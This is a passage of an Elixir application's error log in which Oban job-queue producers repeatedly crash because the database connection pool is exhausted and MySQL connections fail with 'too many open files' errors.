State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:39:58.239501Z], limit: 5, uuid: "22e525a8-aeca-468c-9cad-3e1045ba2cbd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:58.239506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240376>, refresh_timer: #Reference<0.2525715032.1077411843.205750>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:39:58.239638Z], limit: 20, uuid: "ca05d014-e8fe-40c0-9364-fb86f5983659", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:58.239644Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240375>, refresh_timer: #Reference<0.2525715032.1077411843.205753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:39:58.239068Z], limit: 5, uuid: "d5a6b839-c7cc-4ffa-af4e-6fd48757ff8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:58.239075Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205770>, refresh_timer: #Reference<0.2525715032.1077411843.205733>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:10.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:10.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:12.208000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:15.213000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:16.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:20.328000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:20.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:20.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:40:09.240173Z], limit: 5, uuid: "7f270dfd-f848-461f-a40f-dbd2132bcbe1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:09.240179Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.84095>, refresh_timer: #Reference<0.2525715032.1121189889.84073>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:40:09.238719Z], limit: 10, uuid: "f54320f6-f7ff-4bf5-b6bc-567c38d863b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:09.238725Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205867>, refresh_timer: #Reference<0.2525715032.1121189889.84048>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:40:09.238874Z], limit: 3, uuid: "dfb74c9c-8586-45fe-afb6-3835838e9acf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:09.238881Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205868>, refresh_timer: #Reference<0.2525715032.1121189889.84056>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:40:09.239976Z], limit: 20, uuid: "0cec0415-5627-452c-9c79-16323ef8622f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:09.239982Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.232841>, refresh_timer: #Reference<0.2525715032.1068236804.232837>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:40:09.239180Z], limit: 50, uuid: "c38283ff-4401-4c6b-9322-cb43b25a4789", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:09.239186Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.84096>, refresh_timer: #Reference<0.2525715032.1077411843.205881>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:40:09.239586Z], limit: 5, uuid: "ad0bf902-e1b2-463a-b87a-ed2bed7199d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:09.239592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.232842>, refresh_timer: #Reference<0.2525715032.1068236804.232834>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:23.661000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:26.745000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:30.301000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:31.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
